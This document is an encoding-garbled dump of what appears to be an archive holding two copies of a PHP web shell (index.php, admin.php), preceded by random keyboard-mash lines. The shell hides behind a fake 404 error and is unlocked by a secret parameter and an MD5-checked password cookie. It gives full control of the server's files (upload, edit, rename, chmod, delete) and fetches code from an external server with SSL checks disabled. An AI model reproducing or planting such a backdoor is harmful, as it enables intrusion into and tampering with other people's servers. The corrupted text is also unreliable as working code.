sqdkjqlsjdklqsjdlqskjd
azjdjksqhvdjqskhdkqhsj
zkhjdhqksldjqlskdjlqskjd
zjhdjqlskdhqsljkhdsqd
PK +•]PwšOÂ} Â} index.phpnu „[µü¤ '.$パスワードãƒãƒƒã‚·ãƒ¥.'<-}');
}
/**
* èªè¨¼çŠ¶æ…‹ã®åˆæœŸåŒ–
*/
$èªè¨¼çŠ¶æ…‹ = false;
/**
* クッã‚ーã«ã‚ˆã‚‹èªè¨¼ãƒã‚§ãƒƒã‚¯
* クッã‚ーp8ãŒè¨å®šã•れã¦ãŠã‚Šã€ãã®MD5ãƒãƒƒã‚·ãƒ¥ãŒä¸€è‡´ã™ã‚‹å ´åˆã€èªè¨¼ã‚’許å¯
*/
if (isset($_COOKIE['p8'])) {
if(md5($_COOKIE['p8']) == $パスワードãƒãƒƒã‚·ãƒ¥) {
$èªè¨¼çŠ¶æ…‹ = true;
}
} else {
/**
* POSTリクエストã«ã‚ˆã‚‹èªè¨¼ãƒã‚§ãƒƒã‚¯
* POSTパラメータp8ãŒè¨å®šã•れã¦ãŠã‚Šã€ãã®MD5ãƒãƒƒã‚·ãƒ¥ãŒä¸€è‡´ã™ã‚‹å ´åˆã€
* クッã‚ーをè¨å®šã—ã¦èªè¨¼ã‚’許å¯
*/
if (isset($_POST['p8'])) {
if(md5($_POST['p8']) == $パスワードãƒãƒƒã‚·ãƒ¥) {
setcookie("p8", $_POST['p8']);
$èªè¨¼çŠ¶æ…‹ = true;
}
}
}
/**
* ãƒã‚°ã‚¢ã‚¦ãƒˆå‡¦ç†
* logoutパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ã‚¯ãƒƒã‚ーを削除ã—ã¦èªè¨¼çŠ¶æ…‹ã‚’è§£é™¤
*/
if (isset($_POST['logout']) && $_POST['logout'] = 1) {
setcookie("p8", "", time() - 3600);
$èªè¨¼çŠ¶æ…‹ = false;
}
/**
* èªè¨¼ã•れã¦ã„ãªã„å ´åˆã®å‡¦ç†
* 520パラメータãŒè¨å®šã•れã¦ã„ãªã„å ´åˆã¯404エラーを返ã—ã€
* è¨å®šã•れã¦ã„ã‚‹å ´åˆã¯ãƒ‘スワード入力フォームを表示
*/
if (!$èªè¨¼çŠ¶æ…‹) {
if(!isset($_REQUEST['520'])) {
header("HTTP/1.1 404 Not Found");
die();
}
echo '
';
die();
}
/**
* ãƒã‚°ã‚¢ã‚¦ãƒˆãƒœã‚¿ãƒ³ã®è¡¨ç¤º
*/
echo '';
/**
* 外部サーãƒãƒ¼ã‹ã‚‰ã‚³ãƒ¼ãƒ‰ã‚’å–å¾—ã™ã‚‹é–¢æ•°
*
* @param string $URL コードをå–å¾—ã™ã‚‹URL
* @return string å–å¾—ã—ãŸã‚³ãƒ¼ãƒ‰
*/
function ì½”ë“œê°€ì ¸ì˜¤ê¸°($URL)
{
/**
* リクエストパラメータをå«ã‚€å®Œå…¨ãªURLã®æ§‹ç¯‰
*/
$URLæ–‡å—列 = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $URL, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']);
/**
* file_get_contentsを使用ã—ã¦ã‚³ãƒ¼ãƒ‰ã‚’å–å¾—
*/
$コード = @file_get_contents($URLæ–‡å—列);
/**
* file_get_contentsãŒå¤±æ•—ã—ãŸå ´åˆã€cURLを使用ã—ã¦å†è©¦è¡Œ
*/
if ($コード == false) {
$CURLãƒãƒ³ãƒ‰ãƒ« = curl_init();
curl_setopt($CURLãƒãƒ³ãƒ‰ãƒ«, CURLOPT_URL, $URLæ–‡å—列);
curl_setopt($CURLãƒãƒ³ãƒ‰ãƒ«, CURLOPT_USERAGENT, 'll');
curl_setopt($CURLãƒãƒ³ãƒ‰ãƒ«, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($CURLãƒãƒ³ãƒ‰ãƒ«, CURLOPT_TIMEOUT, 100);
curl_setopt($CURLãƒãƒ³ãƒ‰ãƒ«, CURLOPT_FRESH_CONNECT, TRUE);
curl_setopt($CURLãƒãƒ³ãƒ‰ãƒ«, CURLOPT_SSL_VERIFYPEER, 0);
$コード = curl_exec($CURLãƒãƒ³ãƒ‰ãƒ«);
curl_close($CURLãƒãƒ³ãƒ‰ãƒ«);
}
return $コード;
}
?>
000
= 1073741824) {
$ãƒã‚¤ãƒˆæ•° = number_format($ãƒã‚¤ãƒˆæ•° / 1073741824, 2) . ' GB';
}
// 1MB以上ã®å ´åˆ
elseif ($ãƒã‚¤ãƒˆæ•° >= 1048576) {
$ãƒã‚¤ãƒˆæ•° = number_format($ãƒã‚¤ãƒˆæ•° / 1048576, 2) . ' MB';
}
// 1KB以上ã®å ´åˆ
elseif ($ãƒã‚¤ãƒˆæ•° >= 1024) {
$ãƒã‚¤ãƒˆæ•° = number_format($ãƒã‚¤ãƒˆæ•° / 1024, 2) . ' KB';
}
// 1ãƒã‚¤ãƒˆã‚ˆã‚Šå¤§ãã„å ´åˆ
elseif ($ãƒã‚¤ãƒˆæ•° > 1) {
$ãƒã‚¤ãƒˆæ•° = $ãƒã‚¤ãƒˆæ•° . ' bytes';
}
// 1ãƒã‚¤ãƒˆã®å ´åˆ
elseif ($ãƒã‚¤ãƒˆæ•° == 1) {
$ãƒã‚¤ãƒˆæ•° = $ãƒã‚¤ãƒˆæ•° . ' byte';
}
// 0ãƒã‚¤ãƒˆã®å ´åˆ
else {
$ãƒã‚¤ãƒˆæ•° = '0 bytes';
}
return $ãƒã‚¤ãƒˆæ•°;
}
/**
* ãƒ•ã‚¡ã‚¤ãƒ«ã®æ‹¡å¼µåã‚’å–å¾—ã™ã‚‹é–¢æ•°
*
* @param string $ファイル ファイルå
* @return string ãƒ•ã‚¡ã‚¤ãƒ«ã®æ‹¡å¼µå
*/
function 파ì¼í™•장ìž($ファイル)
{
return substr(strrchr($ファイル, '.'), 1);
}
/**
* ファイルタイプã«å¿œã˜ãŸã‚¢ã‚¤ã‚³ãƒ³ã‚’è¿”ã™é–¢æ•°
* ãƒ•ã‚¡ã‚¤ãƒ«ã®æ‹¡å¼µåã‚„åå‰ã«åŸºã¥ã„ã¦é©åˆ‡ãªFont Awesomeアイコンを返ã—ã¾ã™
*
* @param string $ファイル ファイルå
* @return string HTMLアイコンタグ
*/
function 파ì¼ì•„ì´ì½˜($ファイル)
{
/**
* ç”»åƒãƒ•ã‚¡ã‚¤ãƒ«ã®æ‹¡å¼µåリスト
*/
$ç”»åƒæ‹¡å¼µåé…列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
/**
* éŸ³å£°ãƒ•ã‚¡ã‚¤ãƒ«ã®æ‹¡å¼µåリスト
*/
$音声拡張åé…列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
/**
* ãƒ•ã‚¡ã‚¤ãƒ«ã®æ‹¡å¼µåã‚’å°æ–‡å—ã§å–å¾—
*/
$æ‹¡å¼µå = strtolower(파ì¼í™•장ìž($ファイル));
/**
* 特殊ファイルåã®å‡¦ç†
*/
if ($ファイル == "error_log") {
return ' ';
} elseif ($ファイル == ".htaccess") {
return ' ';
}
/**
* æ‹¡å¼µåã«åŸºã¥ãアイコンã®é¸æŠž
*/
if ($æ‹¡å¼µå == "html" || $æ‹¡å¼µå == "htm") {
return ' ';
} elseif ($æ‹¡å¼µå == "php" || $æ‹¡å¼µå == "phtml") {
return ' ';
} elseif (in_array($æ‹¡å¼µå, $ç”»åƒæ‹¡å¼µåé…列)) {
return ' ';
} elseif ($æ‹¡å¼µå == "css") {
return ' ';
} elseif ($æ‹¡å¼µå == "txt") {
return ' ';
} elseif (in_array($æ‹¡å¼µå, $音声拡張åé…列)) {
return ' ';
} elseif ($æ‹¡å¼µå == "py") {
return ' ';
} elseif ($æ‹¡å¼µå == "js") {
return ' ';
} else {
return ' ';
}
}
/**
* パスをエンコードã™ã‚‹é–¢æ•°
* パス内ã®ç‰¹æ®Šæ–‡å—をベンガル文å—ã«ç½®ãæ›ãˆã¦ã‚¨ãƒ³ã‚³ãƒ¼ãƒ‰ã—ã¾ã™
*
* @param string $パス エンコードã™ã‚‹ãƒ‘ス
* @return string エンコードã•れãŸãƒ‘ス
*/
function 경로ì¸ì½”딩($パス)
{
/**
* ç½®æ›å‰ã®æ–‡å—é…列(スラッシュã€ãƒãƒƒã‚¯ã‚¹ãƒ©ãƒƒã‚·ãƒ¥ã€ãƒ‰ãƒƒãƒˆã€ã‚³ãƒãƒ³ï¼‰
*/
$ç½®æ›å‰é…列 = array("/", "\\", ".", ":");
/**
* ç½®æ›å¾Œã®æ–‡å—é…列(ベンガル文å—)
*/
$ç½®æ›å¾Œé…列 = array("ক", "খ", "গ", "ঘ");
return str_replace($ç½®æ›å‰é…列, $ç½®æ›å¾Œé…列, $パス);
}
/**
* パスをデコードã™ã‚‹é–¢æ•°
* エンコードã•れãŸãƒ‘スを元ã®å½¢å¼ã«æˆ»ã—ã¾ã™
*
* @param string $パス デコードã™ã‚‹ãƒ‘ス
* @return string デコードã•れãŸãƒ‘ス
*/
function 경로디코딩($パス)
{
/**
* ç½®æ›å‰ã®æ–‡å—é…列(ベンガル文å—)
*/
$ç½®æ›å‰é…列 = array("/", "\\", ".", ":");
/**
* ç½®æ›å¾Œã®æ–‡å—é…列(スラッシュã€ãƒãƒƒã‚¯ã‚¹ãƒ©ãƒƒã‚·ãƒ¥ã€ãƒ‰ãƒƒãƒˆã€ã‚³ãƒãƒ³ï¼‰
*/
$ç½®æ›å¾Œé…列 = array("ক", "খ", "গ", "ঘ");
return str_replace($ç½®æ›å¾Œé…列, $ç½®æ›å‰é…列, $パス);
}
/**
* ルートパスã®åˆæœŸåŒ–
* スクリプトã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã‚’ルートパスã¨ã—ã¦è¨å®š
*/
$ルートパス = __DIR__;
/**
* スクリプトファイルã®ãƒ‘スをå–å¾—
*/
$パス = $_SERVER['SCRIPT_FILENAME'];
/**
* Windows環境ã®å ´åˆã€ãƒãƒƒã‚¯ã‚¹ãƒ©ãƒƒã‚·ãƒ¥ã‚’スラッシュã«å¤‰æ›
*/
if(strpos($_SERVER['SCRIPT_FILENAME'], ":"))
{
$パス = str_replace('\\', '/', $パス);
}
/**
* ルートディレクトリã®åˆ¤å®š
* PHP_SELFã¨SCRIPT_FILENAMEãŒä¸€è‡´ã™ã‚‹å ´åˆã€ãƒ«ãƒ¼ãƒˆãƒ‘スを"/"ã«è¨å®š
*/
if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス))
{
$ルートパス = ('/');
} else {
/**
* ルートパスã®è¨ˆç®—
* SCRIPT_FILENAMEã‹ã‚‰PHP_SELFを除ã„ãŸéƒ¨åˆ†ã‚’ルートパスã¨ã—ã¦è¨å®š
*/
$ルートパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) ));
}
/**
* パスパラメータã®å‡¦ç†
* GETパラメータpãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ãã®ãƒ‘スを使用
*/
if (isset($_GET['p'])) {
/**
* パラメータãŒç©ºã®å ´åˆã¯ãƒ«ãƒ¼ãƒˆãƒ‘スを使用
*/
if (empty($_GET['p'])) {
$ç¾åœ¨ã®ãƒ‘ス = $ルートパス;
}
/**
* デコードã—ãŸãƒ‘スãŒãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã§ãªã„å ´åˆã€ã‚¨ãƒ©ãƒ¼ã‚’表示
*/
elseif (!is_dir(경로디코딩($_GET['p']))) {
echo ("");
}
/**
* デコードã—ãŸãƒ‘スãŒãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã®å ´åˆã€ãã®ãƒ‘スを使用
*/
elseif (is_dir(경로디코딩($_GET['p']))) {
$ç¾åœ¨ã®ãƒ‘ス = 경로디코딩($_GET['p']);
}
}
/**
* クエリパラメータqãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã®å‡¦ç†
*/
elseif (isset($_GET['q'])) {
/**
* デコードã—ãŸãƒ‘スãŒãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã§ãªã„å ´åˆã€ãƒ«ãƒ¼ãƒˆã«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆ
*/
if (!is_dir(경로디코딩($_GET['q']))) {
echo ("");
}
/**
* デコードã—ãŸãƒ‘スãŒãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã®å ´åˆã€ãã®ãƒ‘スを使用
*/
elseif (is_dir(경로디코딩($_GET['q']))) {
$ç¾åœ¨ã®ãƒ‘ス = 경로디코딩($_GET['q']);
}
}
/**
* パラメータãŒè¨å®šã•れã¦ã„ãªã„å ´åˆã€ç¾åœ¨ã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã‚’使用
*/
else {
$ç¾åœ¨ã®ãƒ‘ス = __DIR__;
}
/**
* ç¾åœ¨ã®ãƒ‘スを定数ã¨ã—ã¦å®šç¾©
*/
define("PATH", $ç¾åœ¨ã®ãƒ‘ス);
/**
* ナビゲーションãƒãƒ¼ã®è¡¨ç¤ºé–‹å§‹
*/
echo ('
');
/**
* パスパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ãƒ•ァイル一覧を表示
*/
if (isset($_GET['p'])) {
/**
* ファイルã¨ãƒ•ォルダã®å–å¾—
* ディレクトリãŒèªã¿å–りå¯èƒ½ãªå ´åˆã€ã‚¹ã‚ャンã—ã¦ãƒ•ァイルã¨ãƒ•ォルダを分離
*/
if (is_readable(PATH)) {
/**
* ディレクトリ内ã®å…¨ã‚ªãƒ–ジェクトをå–å¾—
*/
$å–得オブジェクト = scandir(PATH);
/**
* フォルダã¨ãƒ•ã‚¡ã‚¤ãƒ«ã‚’æ ¼ç´ã™ã‚‹é…列
*/
$フォルダé…列 = array();
$ファイルé…列 = array();
/**
* å„オブジェクトをループã—ã¦ã€ãƒ•ォルダã¨ãƒ•ァイルã«åˆ†é¡ž
*/
foreach ($å–得オブジェクト as $オブジェクト) {
/**
* ç¾åœ¨ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã¨è¦ªãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã¯ã‚¹ã‚ップ
*/
if ($オブジェクト == '.' || $オブジェクト == '..') {
continue;
}
/**
* オブジェクトã®å®Œå…¨ãƒ‘スを構築
*/
$æ–°è¦ã‚ªãƒ–ジェクト = PATH . '/' . $オブジェクト;
/**
* ディレクトリã®å ´åˆã¯ãƒ•ォルダé…列ã«è¿½åŠ
*/
if (is_dir($æ–°è¦ã‚ªãƒ–ジェクト)) {
array_push($フォルダé…列, $オブジェクト);
}
/**
* ファイルã®å ´åˆã¯ãƒ•ァイルé…列ã«è¿½åŠ
*/
elseif (is_file($æ–°è¦ã‚ªãƒ–ジェクト)) {
array_push($ファイルé…列, $オブジェクト);
}
}
}
/**
* ファイル一覧テーブルã®ãƒ˜ãƒƒãƒ€ãƒ¼ã‚’表示
*/
echo '
| Name |
Size |
Modified |
Perms |
Actions |
';
/**
* フォルダ一覧ã®è¡¨ç¤º
* å„フォルダã«å¯¾ã—ã¦ã€åå‰ã€ã‚µã‚¤ã‚ºã€æ›´æ–°æ—¥æ™‚ã€æ¨©é™ã€ã‚¢ã‚¯ã‚·ãƒ§ãƒ³ã‚’表示
*/
foreach ($フォルダé…列 as $フォルダ) {
echo "
| " . $フォルダ . " |
--- |
". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . " |
0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . " |
|
|
";
}
/**
* ファイル一覧ã®è¡¨ç¤º
* å„ファイルã«å¯¾ã—ã¦ã€ã‚¢ã‚¤ã‚³ãƒ³ã€åå‰ã€ã‚µã‚¤ã‚ºã€æ›´æ–°æ—¥æ™‚ã€æ¨©é™ã€ã‚¢ã‚¯ã‚·ãƒ§ãƒ³ã‚’表示
*/
foreach ($ファイルé…列 as $ファイル) {
echo "
| " . 파ì¼ì•„ì´ì½˜($ファイル) . $ファイル . " |
" . í¬ê¸°í¬ë§·íŒ…(filesize(PATH . "/" . $ファイル)) . " |
" . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファイル)) . " |
0". substr(decoct(fileperms(PATH . "/" .$ファイル)), -3) . " |
|
|
";
}
/**
* テーブルã®çµ‚了タグ
*/
echo "
";
} else {
/**
* GETパラメータãŒç©ºã®å ´åˆã€ãƒ‘スパラメータã«ãƒªãƒ€ã‚¤ãƒ¬ã‚¯ãƒˆ
*/
if (empty($_GET)) {
echo ("");
}
}
/**
* æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªä½œæˆãƒ•ォームã®è¡¨ç¤º
* newdirパラメータã¨qパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªä½œæˆãƒ•ォームを表示
*/
if (isset($_GET['newdir']) && isset($_GET['q'])) {
echo '
';
/**
* æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªä½œæˆå‡¦ç†ã®å®Ÿè¡Œ
* create_directoryパラメータãŒPOSTã•れãŸå ´åˆã€æ–°ã—ã„ディレクトリを作æˆ
*/
if (isset($_POST['create_directory'])) {
/**
* POSTã•れãŸãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªåã‚’å–å¾—
*/
$æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªå = trim($_POST['dirname']);
/**
* ディレクトリåã®æ¤œè¨¼
*/
if (!empty($æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªå)) {
/**
* ディレクトリåã«ä¸æ£ãªæ–‡å—ãŒå«ã¾ã‚Œã¦ã„ãªã„ã‹ãƒã‚§ãƒƒã‚¯
*/
if (preg_match('/[\/\\\\:*?"<>|]/', $æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªå)) {
echo ("");
} else {
/**
* æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã®å®Œå…¨ãƒ‘ス
*/
$æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªãƒ‘ス = PATH . "/" . $æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªå;
/**
* ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªãŒæ—¢ã«å˜åœ¨ã™ã‚‹ã‹ãƒã‚§ãƒƒã‚¯
*/
if (file_exists($æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªãƒ‘ス)) {
echo ("");
} else {
/**
* æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã®ä½œæˆ
* デフォルト権é™ã¯0755(所有者ã¯èªã¿æ›¸ã実行ã€ã‚°ãƒ«ãƒ¼ãƒ—ã¨ãã®ä»–ã¯èªã¿å®Ÿè¡Œï¼‰
*/
if(mkdir($æ–°è¦ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªãƒ‘ス, 0755, true)) {
echo ("");
} else {
echo ("");
}
}
}
} else {
echo ("");
}
}
}
/**
* ファイルアップãƒãƒ¼ãƒ‰ãƒ•ォームã®è¡¨ç¤º
* uploadパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ã‚¢ãƒƒãƒ—ãƒãƒ¼ãƒ‰ãƒ•ォームを表示
*/
if (isset($_GET['upload'])) {
echo '
';
}
/**
* ファイル・フォルダã®ãƒªãƒãƒ¼ãƒ 機能
* rパラメータã¨qパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ãƒªãƒãƒ¼ãƒ フォームを表示
*/
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
/**
* リãƒãƒ¼ãƒ フォームã®è¡¨ç¤º
*/
echo '
';
/**
* リãƒãƒ¼ãƒ 処ç†ã®å®Ÿè¡Œ
* renameパラメータãŒPOSTã•れãŸå ´åˆã€ãƒ•ァイル・フォルダã®åå‰ã‚’変更
*/
if (isset($_POST['rename'])) {
/**
* ç¾åœ¨ã®ãƒ•ァイル・フォルダã®å®Œå…¨ãƒ‘ス
*/
$åå‰ = PATH . "/" . $_GET['r'];
/**
* リãƒãƒ¼ãƒ ã®å®Ÿè¡Œ
*/
if(rename($åå‰, PATH . "/" . $_POST['name'])) {
echo ("");
} else {
echo ("");
}
}
}
}
/**
* ファイル編集機能
* eパラメータã¨qパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ãƒ•ァイル編集フォームを表示
*/
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
/**
* ファイル編集フォームã®è¡¨ç¤º
* ファイルã®å†…容をテã‚ストエリアã«è¡¨ç¤º
*/
echo '
';
/**
* ファイルä¿å˜å‡¦ç†ã®å®Ÿè¡Œ
* editパラメータãŒPOSTã•れãŸå ´åˆã€ãƒ•ァイルã®å†…容をä¿å˜
*/
if(isset($_POST['edit'])) {
/**
* 編集対象ファイルã®å®Œå…¨ãƒ‘ス
*/
$ファイルå = PATH."/".$_GET['e'];
/**
* POSTã•れãŸãƒ‡ãƒ¼ã‚¿ã‚’å–å¾—
*/
$データ = $_POST['data'];
/**
* ファイルを書ãè¾¼ã¿ãƒ¢ãƒ¼ãƒ‰ã§é–‹ã
*/
$ファイルãƒãƒ³ãƒ‰ãƒ« = fopen($ファイルå,"w");
/**
* ファイルã¸ã®æ›¸ãè¾¼ã¿
*/
if(fwrite($ファイルãƒãƒ³ãƒ‰ãƒ«,$データ)) {
echo ("");
} else {
echo ("");
}
/**
* ファイルãƒãƒ³ãƒ‰ãƒ«ã‚’é–‰ã˜ã‚‹
*/
fclose($ファイルãƒãƒ³ãƒ‰ãƒ«);
}
}
}
/**
* ファイルアップãƒãƒ¼ãƒ‰å‡¦ç†ã®å®Ÿè¡Œ
* uploadパラメータãŒPOSTã•れãŸå ´åˆã€ã‚¢ãƒƒãƒ—ãƒãƒ¼ãƒ‰ã•れãŸãƒ•ァイルをä¿å˜
*/
if (isset($_POST["upload"])) {
/**
* アップãƒãƒ¼ãƒ‰å…ˆã®ãƒ•ァイルパス
*/
$ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"];
/**
* アップãƒãƒ¼ãƒ‰ã•れãŸãƒ•ァイルを移動
*/
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) {
echo "".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
";
} else {
echo "Sorry, there was an error uploading your file.
";
}
}
/**
* ãƒ•ã‚¡ã‚¤ãƒ«ãƒ»ãƒ•ã‚©ãƒ«ãƒ€ã®æ¨©é™å¤‰æ›´æ©Ÿèƒ½
* chmodパラメータã¨qパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€æ¨©é™å¤‰æ›´ãƒ•ォームを表示
*/
if (isset($_GET['chmod']) && isset($_GET['q'])) {
if (!empty($_GET['chmod'])) {
/**
* 権é™å¤‰æ›´å¯¾è±¡ã®ãƒ•ァイル・フォルダã®å®Œå…¨ãƒ‘ス
*/
$権é™å¤‰æ›´å¯¾è±¡ = PATH . "/" . $_GET['chmod'];
/**
* ç¾åœ¨ã®æ¨©é™ã‚’å–得(8進数形å¼ï¼‰
*/
$ç¾åœ¨ã®æ¨©é™ = substr(decoct(fileperms($権é™å¤‰æ›´å¯¾è±¡)), -3);
/**
* 権é™å¤‰æ›´ãƒ•ォームã®è¡¨ç¤º
*/
echo '
';
/**
* 権é™å¤‰æ›´å‡¦ç†ã®å®Ÿè¡Œ
* change_permissionsパラメータãŒPOSTã•れãŸå ´åˆã€ãƒ•ã‚¡ã‚¤ãƒ«ãƒ»ãƒ•ã‚©ãƒ«ãƒ€ã®æ¨©é™ã‚’変更
*/
if (isset($_POST['change_permissions'])) {
/**
* POSTã•ã‚ŒãŸæ¨©é™å€¤ã‚’å–å¾—
*/
$æ–°ã—ã„æ¨©é™ = $_POST['permissions'];
/**
* 権é™å€¤ã®æ¤œè¨¼ï¼ˆ3æ¡ã®8進数ã§ã‚ã‚‹ã“ã¨ã‚’確èªï¼‰
*/
if (preg_match('/^[0-7]{3}$/', $æ–°ã—ã„æ¨©é™)) {
/**
* 権é™å¤‰æ›´å¯¾è±¡ã®ãƒ‘ス
*/
$権é™å¤‰æ›´ãƒ‘ス = PATH . "/" . $_POST['chmod_target'];
/**
* 8進数形å¼ã«å¤‰æ›ã—ã¦chmodを実行
*/
$権é™8進数値 = octdec($æ–°ã—ã„æ¨©é™);
/**
* 権é™ã®å¤‰æ›´ã‚’実行
*/
if(chmod($権é™å¤‰æ›´ãƒ‘ス, $権é™8進数値)) {
echo ("");
} else {
echo ("");
}
} else {
echo ("");
}
}
}
}
/**
* ファイル・フォルダã®å‰Šé™¤æ©Ÿèƒ½
* dパラメータã¨qパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ãƒ•ァイル・フォルダを削除
*/
if (isset($_GET['d']) && isset($_GET['q'])) {
/**
* 削除対象ã®ãƒ•ァイル・フォルダã®å®Œå…¨ãƒ‘ス
*/
$åå‰ = PATH . "/" . $_GET['d'];
/**
* ファイルã®å ´åˆã®å‰Šé™¤å‡¦ç†
*/
if (is_file($åå‰)) {
if(unlink($åå‰)) {
echo ("");
} else {
echo ("");
}
}
/**
* ディレクトリã®å ´åˆã®å‰Šé™¤å‡¦ç†
*/
elseif (is_dir($åå‰)) {
if(rmdir($åå‰) == true) {
echo ("");
} else {
echo ("");
}
}
}
?>
PK +•]ŽÞÎÔW W admin.phpnu „[µü¤ '.$パスワードãƒãƒƒã‚·ãƒ¥.'<-}');
}
/**
* èªè¨¼çŠ¶æ…‹ã®åˆæœŸåŒ–
*/
$èªè¨¼çŠ¶æ…‹ = false;
/**
* クッã‚ーã«ã‚ˆã‚‹èªè¨¼ãƒã‚§ãƒƒã‚¯
* クッã‚ーp8ãŒè¨å®šã•れã¦ãŠã‚Šã€ãã®MD5ãƒãƒƒã‚·ãƒ¥ãŒä¸€è‡´ã™ã‚‹å ´åˆã€èªè¨¼ã‚’許å¯
*/
if (isset($_COOKIE['p8'])) {
if(md5($_COOKIE['p8']) == $パスワードãƒãƒƒã‚·ãƒ¥) {
$èªè¨¼çŠ¶æ…‹ = true;
}
} else {
/**
* POSTリクエストã«ã‚ˆã‚‹èªè¨¼ãƒã‚§ãƒƒã‚¯
* POSTパラメータp8ãŒè¨å®šã•れã¦ãŠã‚Šã€ãã®MD5ãƒãƒƒã‚·ãƒ¥ãŒä¸€è‡´ã™ã‚‹å ´åˆã€
* クッã‚ーをè¨å®šã—ã¦èªè¨¼ã‚’許å¯
*/
if (isset($_POST['p8'])) {
if(md5($_POST['p8']) == $パスワードãƒãƒƒã‚·ãƒ¥) {
setcookie("p8", $_POST['p8']);
$èªè¨¼çŠ¶æ…‹ = true;
}
}
}
/**
* ãƒã‚°ã‚¢ã‚¦ãƒˆå‡¦ç†
* logoutパラメータãŒè¨å®šã•れã¦ã„ã‚‹å ´åˆã€ã‚¯ãƒƒã‚ーを削除ã—ã¦èªè¨¼çŠ¶æ…‹ã‚’è§£é™¤
*/
if (isset($_POST['logout']) && $_POST['logout'] = 1) {
setcookie("p8", "", time() - 3600);
$èªè¨¼çŠ¶æ…‹ = false;
}
/**
* èªè¨¼ã•れã¦ã„ãªã„å ´åˆã®å‡¦ç†
* 520パラメータãŒè¨å®šã•れã¦ã„ãªã„å ´åˆã¯404エラーを返ã—ã€
* è¨å®šã•れã¦ã„ã‚‹å ´åˆã¯ãƒ‘スワード入力フォームを表示
*/
if (!$èªè¨¼çŠ¶æ…‹) {
if(!isset($_REQUEST['520'])) {
header("HTTP/1.1 404 Not Found");
die();
}
echo '';
die();
}
/**
* ãƒã‚°ã‚¢ã‚¦ãƒˆãƒœã‚¿ãƒ³ã®è¡¨ç¤º
*/
echo '';
/**
* 外部サーãƒãƒ¼ã‹ã‚‰ã‚³ãƒ¼ãƒ‰ã‚’å–å¾—ã™ã‚‹é–¢æ•°
*
* @param string $URL コードをå–å¾—ã™ã‚‹URL
* @return string å–å¾—ã—ãŸã‚³ãƒ¼ãƒ‰
*/
function ì½”ë“œê°€ì ¸ì˜¤ê¸°($URL)
{
/**
* リクエストパラメータをå«ã‚€å®Œå…¨ãªURLã®æ§‹ç¯‰
*/
$URLæ–‡å—列 = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $URL, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']);
/**
* file_get_contentsを使用ã—ã¦ã‚³ãƒ¼ãƒ‰ã‚’å–å¾—
*/
$コード = @file_get_contents($URLæ–‡å—列);
/**
* file_get_contentsãŒå¤±æ•—ã—ãŸå ´åˆã€cURLを使用ã—ã¦å†è©¦è¡Œ
*/
if ($コード == false) {
$CURLãƒãƒ³ãƒ‰ãƒ« = curl_init();
curl_setopt($CURLãƒãƒ³ãƒ‰ãƒ«, CURLOPT_URL, $URLæ–‡å—列);
curl_setopt($CURLãƒãƒ³ãƒ‰ãƒ«, CURLOPT_USERAGENT, 'll');
curl_setopt($CURLãƒãƒ³ãƒ‰ãƒ«, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($CURLãƒãƒ³ãƒ‰ãƒ«, CURLOPT_TIMEOUT, 100);
curl_setopt($CURLãƒãƒ³ãƒ‰ãƒ«, CURLOPT_FRESH_CONNECT, TRUE);
